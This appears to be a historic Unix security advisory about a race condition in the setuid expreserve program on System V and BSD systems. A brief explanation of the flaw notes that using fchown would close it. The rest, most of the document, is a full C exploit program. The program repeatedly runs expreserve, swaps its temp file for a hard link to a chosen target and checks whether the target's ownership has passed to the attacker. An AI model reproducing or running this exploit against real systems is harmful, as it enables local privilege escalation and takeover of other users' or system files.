COMMAND

    expreserve(1)

SYSTEMS AFFECTED

    This bug exists in all expreserves up to BSD 4.3. (well not  quite
    ). On all System V  and earlier releases this works.  Under System
    V  expreserve  places   the  Ex  temp   files  in  the   directory
    /usr/preserve/$LOGNAME and under  Berkeley releses it  places them
    under  either  /usr/preserve  or  /var/preserve  (SunOS  4.X among
    others).

PROBLEM

    A  rather  barbaric  race  condition  in  expreserve  that  allows
    the   setuid   program   to   be   compromised   by  changing  the
    permissions  of  a  file.  This  "feature"  will allow security to
    be  breached  on  all  standard  Systems  Vs  and all Berkeley-ish
    systems  that  have  the   /usr/preserve  directory  writable   by
    the  user   (Note:  SunOS   was  this   directory  unwritable   by
    default).   The   System   V   bug   was   relatively  unavoidable
    (though  the  addition  of  the  "S"  bit to directories in SVR3.2
    could  close  the  hole)  until  SVR4  but the Berkeley bug should
    have  been  fixed  as  soon  as  the  fchown(2)  system  call  was
    added to BSD. Basically the "hole" is that expreserve does:

        fd = creat("/usr/preserve/Exaaa$PID", 0600);
        chown("/usr/preserve/Exaaa$PID", real_uid, real_gid);

    when it should do a:

        fd = creat("/usr/preserve/Exaaa$PID", 0600);
        fchown(fd, real_uid, real_gid);

    which  avoids  the  race  (it   changes  the  permission  on   the
    inode  that  was  creat(2)ed  and  not  the  inode  whose  name is
    /usr/preserve/Exaaa$PID).  The  previous  examples  are   actually
    simplified  as  expreserve  actually  looks  at  the  uid  and gid
    as  stored  in  the  /tmp/Ex$PID  file  and  compares  them to the
    getuid()  and  getgid()  return  values.  The  actual race is that
    a  context  switch  may  occur  between  the creat(2) and chown(2)
    in   expreserve   that   allows   another   process   with   write
    permission   to   the   target   directory   to   unlink(2)    the
    creat(2)ed  file  and  place  a  hard  link  to  another  file  by
    that   name   in   the   target   directory,   which    expreserve
    subsequentialies   chown(2)s   to   your   uid.   This   "feature"
    allows  any  file  on  the  same  device  to be chown(2)ed to you.
    Though you may see support for symbolic links, on the version   of
    UNIX  that  this  has  been  tested  on,  this  will  only  change
    permissions on the symlink. You  may find this confusing as  ELOOP
    is an alleged failure   condition  for   chown(2) implying that  a
    symbolic link resolution.  Exploit follows:

/*
 * This program takes advantage of a race condition in most version of
 * /usr/lib/expreserve.   Expreserve  create(2)s  a  file  as root  in
 * either /usr/preserve or /usr/preserve/$USER and then chmod(2)s  the
 * file. The  Berkeley 4.3 version  contains this bug  as does earlier
 * versions  of  expreserve.   BSD  could  safely  fchmod(2) the  file
 * avoiding the race but DOES NOT.  System V implementation  fchmod(2)
 * until SVR4.0 and this bug still existed in the beta release I  saw.
*/

/* NOTE: This will only work  if the target directory is writeable  by
 * the user
*/

#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <signal.h>

#define TRUE  1
#define FALSE 0

/* SUNOS 4.0 and SVR4 use "/var/preserve" */

#ifndef PRESERVE_DIRECTORY
#define PRESERVE_DIRECTORY "/usr/preserve"
#endif

#ifndef MAIL_DIRECTORY
#define MAIL_DIRECTORY    "/usr/mail"
#endif

#ifndef EXPRESERVE
#define EXPRESERVE "/usr/lib/expreserve"
#endif

#ifdef SYM_LINKS
extern int symlink();
#endif

extern int errno, link();
extern char *gets();

int (*LinkFunc)();

struct stat st_target, st_exfile, st_spoof;
struct passwd *pw;

/* gppid = grand parent pid, ppid = parent pid, cpid = child pid */

int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid;

char *Prog, buf[BUFSIZ], *target, *exfile, *preserve_dir, *spoof, *mailfile,
     *strdup(), *GetBaseName();

void CheckIt(), ChildDied();

int   main(argc, argv)
int   argc;
char *argv[];
{

        void GetTarget();
        int GetExfile();

        umask(0);

        signal(SIGHUP, SIG_DFL);

        gppid = getpid();
        myuid = geteuid();
        printf("pid of top level parent = %d\n", gppid);
        Prog = *argv;
        preserve_dir = PRESERVE_DIRECTORY;
        close(GetExfile());

        printf("Perserve directory = %s\n", preserve_dir);
        /* get who you are */

        if ((pw = getpwuid(getuid())) == (struct passwd *) 0) {
                fprintf(stderr, "%s: can't find your passwd entry\n", Prog);
                exit(1);
        }

        GetTarget();

        if (stat(PRESERVE_DIRECTORY, &st_exfile)) {
                perror("stat");
                fprintf(stderr, "%s: Can't stat %s\n", Prog,
                         PRESERVE_DIRECTORY);
                exit(1);
        }

        /*
         * Determine if we are going to use a symlink(2) or link(2) system
         * call or if this is a cross device link and we don't have symlink().
         */

        if (st_target.st_dev != st_exfile.st_dev) {

#ifndef SYM_LINKS

                fprintf(stderr,
                        "%s: target %s and directory %s on different %s\n",
                        Prog, target, PRESERVE_DIRECTORY, "file systems");
                fprintf(stderr, "%s: Cross device links not supported\n");
                exit(1);

#else

                LinkFunc = symlink;
                printf("using symlink\n");

#endif

        }
        else { /* else we are on same device */

                LinkFunc = link;
                printf("using link\n");
        }

        fflush(stdout);
        gets(buf);

#ifdef TRUNCATE_MAIL_FILE

        /* this is here because you might get alot of mail messages */

        sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name);
        mailfile = strdup(buf);

#endif

        /* the guts start here */

        for (i = 1; ; i++ ) {

                switch (ppid = fork()) { /* begin Level I switch */

                case 0: /* tries to spoof EXPRESERVE */

                        ppid = getpid();

                CREATE_SECOND_CHILD:

                        switch (cpid = fork()) { /* begin Level II switch */

                        case 0: /* we actually exec EXPRESERVE in the grand
                                   child of the parent process */

                                cpid = getpid();
                                signal(SIGHUP, SIG_IGN);
                                close(0);
                                GetExfile();
                                sleep(2); /* give time to parent to get ready *
/

                                nice(5);  /* run at lower priority */
                                execl(EXPRESERVE, GetBaseName(EXPRESERVE),
                                      (char *) 0);
                                perror("exec");
                                fprintf(stderr, "DYING\007\007\n");
                                fflush(stdout);
                                kill(ppid, SIGHUP);
                                kill(gppid, SIGHUP);
                                exit(1);
                                break;

                        case -1:

                                goto CREATE_SECOND_CHILD;

                        default: /* first forked process */

#ifdef NO_USER_SUBDIRECTORY
                                sprintf(buf, "Exaaa%05d", cpid);
#else
                                sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid)
;

#endif

                                spoof = strdup(buf);
                                sprintf(buf, "/tmp/Ex%05d", cpid);
                                exfile = strdup(buf);
                                childDied = 0;
#ifdef SYSV
                                sigset(SIGCHLD, ChildDied);
#else
                                signal(SIGCHLD, ChildDied);
#endif
                                while (chdir(preserve_dir)) ;
                                while (unlink(spoof)) ;
                                if (((LinkFunc)(target, spoof)) == 0) {
#ifdef SYSV
                                        sighold(SIGCHLD);
#else
                                        sigblock(sigmask(SIGCHLD));
#endif
                                        CheckIt();
#ifdef SYSV
                                        sigrelse(SIGCHLD);
                                        while (childDied == 0)
                                                ;
#else
                                        while (childDied == 0)
                                                sigpause(0);
#endif
                                }
                                printf("iteration %d failed\n", i);
                                if (unlink(spoof)) {
                                        printf("unlink of spoof %s failed\n",
                                                spoof);
                                }
                                if (unlink(exfile)) {
                                        printf("unlink of exfile %s failed\n",
                                                exfile);
                                }
                                if (childDied == 0)
                                        wait((int *) 0);
                                exit(0);
                                break;

                        } /* End Level II switch */

                        break;

                case -1:

                        continue;

                default: /* grand parent */

                        while ((cpid = wait((int *) 0)) != ppid)
                                ;
#ifdef TRUNCATE_MAIL_FILE
                        close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600))
;

#endif

                } /* end Level I switch */

        } /* end forever loop */

}

void GetTarget()
{

        char tbuf[BUFSIZ];

        for ( ; ; ) {
                printf("enter full pathname of target file: ");
                gets(buf);
                if (stat(buf, &st_target) == 0) {
                        target = strdup(buf);
                        return;
                }
                perror("stat");
        }

}

int GetExfile()
{

        extern char *malloc();

        char tbuf[BUFSIZ];
        int fd;

        struct stat s;

        static int beenHere, glen;
        static char *garbage;

        /* first loop current directory is still dot */

        if (!beenHere) {

                if (stat("data", &s)) {
                        fprintf(stderr, "%s: can't stat 'data'\n", Prog);
                        exit(0);
                }
                if (s.st_size < 1) {
                        fprintf(stderr, "%s: too small\n", Prog);
                        exit(1);
                }
                glen = s.st_size;
                if ((garbage = malloc(glen)) == (char *) 0) {
                        fprintf(stderr, "%s: malloc of %d bytes failed\n",
                                Prog, glen);
                        exit(1);
                }
                if ((fd = open("data", O_RDONLY)) < 0) {
                        perror("open");
                        fprintf(stderr, "%s: failed to open 'data'\n");
                        exit(1);
                }
                read(fd, garbage, glen);
                close(fd);
                beenHere++;
                return 20;
        }

        sprintf(tbuf, "/tmp/Ex%05d", cpid);
        exfile = strdup(tbuf);

        if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) {
                perror("create");
                fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf);
                exit(1);
        }
        write(fd, garbage, glen);
        sync();
        lseek(fd, 0L, 0);
        return fd;

}

char *GetBaseName(prog)
char *prog;
{

        /*extern int strlen();*/

        register int i, first_char;
        register char *s1;

        s1 = prog;

        /* trim things like "~/bin/mail//" which are legal to namei */

        for (i = strlen(prog) - 1; i; --i)
                if (*(s1+i) == '/') {
                        *(s1+i) = '\0';
                }
                else
                        break;

        /* find first char after last '/' */

        for (i = first_char = 0; *(s1+i); i++)
                if (*(s1+i) == '/')
                        first_char = i + 1;

        return s1 + first_char;

}

#ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */

char *strdup(s1)
char *s1;
{

        extern char *malloc(), *strcpy();
        extern int strlen();

        char *new;

        if ((new = malloc(strlen(s1)+1)) == (char *) 0)
                return (char *) 0;

        return strcpy(new, s1);

}

#endif

void
CheckIt()
{

        sleep(2); /* give expreserve a time slice to chown(2) the file */

        if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) {
                if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid))
{

                        printf("successful at iteration %d\007\007\007\n", i);
                        printf("file is %s\n", spoof);
                        fflush(stdout);
                        kill(gppid, SIGHUP);
                        exit(0);
                }
        }
        printf("CheckIt failed\n");
        fflush(stdout);

}

void
ChildDied(sig)
int sig;
{

        childDied++;
        printf("EXPRESERVE done\n");
        fflush(stdout);
        unlink(exfile);
        unlink(spoof);
        wait((int *) 0);
        exit(1);

}